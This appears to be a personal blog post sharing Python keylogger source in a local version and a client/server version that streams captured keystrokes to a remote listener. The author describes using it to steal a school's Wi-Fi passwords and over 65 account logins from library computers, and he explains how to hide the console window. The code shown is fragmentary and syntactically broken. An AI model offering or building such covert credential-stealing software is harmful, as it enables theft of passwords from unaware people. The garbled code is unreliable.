This is a key logger I wrote some time ago. I found it useful when the IT guy at my school had to “configure” my laptop for the students access point. It gave me the pass phrase he entered. He couldn’t get it to connect, so he tested it on the faculties access point; so now I have all passwords for the schools wireless. I also ran a test on some computers at a local library and got over 65 usernames and passwords from myspace to gmail. I deleted all of them and never used the accounts I had access to; just wanted to see if and how well it worked.

I wrote two versions. One is a local logger; meaning it logs to the computer it is running on. The other is a client/server pair and is good for LAN/WAN networks. I wouldn’t trust the internet unless you want to add some SSL, I’m too lazy. And if you do, please post your code or a link to it in the comments.

Note: You can suppress the command console from popping up by saving your python file as .pyw

Version 1 (local)

import pythoncom, pyHook, sys, logging

LOG_FILENAME = 'Path//To//Log.out' #I.E. C:\Users\Tech\Desktop\log.out

def OnKeyboardEvent(event):
    #print "Key: ", chr(event.Ascii)
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent

Version 2.A (server)

import socket, logging, sys

logFile = 'path\to\log.out'
logging.basicConfig(filename=logFile, level=logging.DEBUG, format='%(message)s')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


conn, addr = s.accept()
print 'Client: ', addr[0]

while 1:
    data = conn.recv(500)
    if data:
    print data
    except socket.error:
        print 'Connection at ', addr[0] ,' broken.'

Version 2.B (client)

    import pythoncom, pyHook, sys, socket
    print 'import error, check to make sure pythoncom and pyHook are installed'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('',6666)) #Change localhost to your servers IP

def OnKeyboardEvent(event):
    print "Key: ", chr(event.Ascii)
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent

About Tech B.

I am currently employed as a tech support rep for Frontier DSL internet and Dail-Up service. If you live on the East Coast and have Frontier or the old Verizon, you may have spoken with me at one point. I do side jobs programming and building things for people. I know Python better than any language in my toolbox. I can also develop Android Apps, which are Java based. Other languages include C , VB/VB.NET, some C#, PBASIC, Batch, Javascript, and some PHP. I love microcontrollers and interfacing with the outside world. I am currently working with Arduinos, which are amazing. Also I can work with the Basic Stamp family of microcontrollers; future development includes FPGA and embedded Linux. I was going to school, but have financial issues at the moment that are keeping me from the books. I plan on going back in the next couple semesters and finishing up my Associates in IT, then perusing a BS in computer science.
This entry was posted in Programming Python and tagged , , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s